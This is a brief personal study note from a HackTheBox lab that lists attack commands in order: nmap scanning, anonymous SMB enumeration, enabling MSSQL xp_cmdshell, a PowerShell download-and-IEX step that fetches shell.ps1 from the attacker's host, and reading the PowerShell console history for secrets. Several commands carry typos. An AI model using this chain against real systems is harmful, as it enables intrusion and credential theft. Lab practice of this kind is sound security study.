HackTheBox – Learning Summary

LEVEL 01

1. Scan all open ports + details:
   1. **ports=$(nmap -p- --min-rate=1000 -T4 <taget-ip>| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)** – create list of all the open ports. flags:
      1. -p- 🡺 all ports
   2. **nmap -sC -sV -p$ports <taget-ip>**  
      flags:
      1. -sC 🡺 script default
      2. -sV 🡺 probe open ports to determine service/version
      3. -p 🡺 ports
2. Lists open shares & files in shares:
   1. **Smbclient -N -L \\\\<target-ip>**  
      flags:
      1. -N **🡺** suppress password prompt (show only open shares)
      2. -L 🡺 list services
3. Open smbclient on open share:
   1. **Smbclient -N \\\\<target-ip>\\<share-name>**flags:
      1. -N **🡺** suppress password prompt (show only open shares)
4. Connect to mssql
   1. **Mssqlclient.py <user>@<taget-ip> -windows-auth**flags:
      1. -windows-auth 🡺 use windows authentication (default off)
5. Check if sql user is admin
   1. IS\_SRVROLEMEMBER
6. Run cmd commands in mssql:
   1. **Sp\_configure 🡺** view commands
   2. **EXEC sp\_configure 'Show Advanced Options', 1; 🡺** enable viewing advanced options
   3. **Regoncigure 🡺** set the new configuration
   4. **Sp\_configure 🡺** view commands
   5. **EXEC sp\_configure 'xp\_cmdshell', 1 🡺** enable cmd
   6. **Regoncigure 🡺** set the new configuration
   7. **Xp\_cmdshell <command> 🡺** run cmd commands
7. Powershell - Make target\_computer download file from local\_computer via http
   1. Local: On shell.ps1 dir: **python3 -m http.server 80 🡺** create http server
   2. target: **(New-Object Net.WebClient).DownloadString(\"http://<local-ip> /shell.ps1\")**
8. cmd – execute powershell code
   1. **powershell "IEX <script-file>**
9. get powershell console history
   1. **type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost\_history.txt**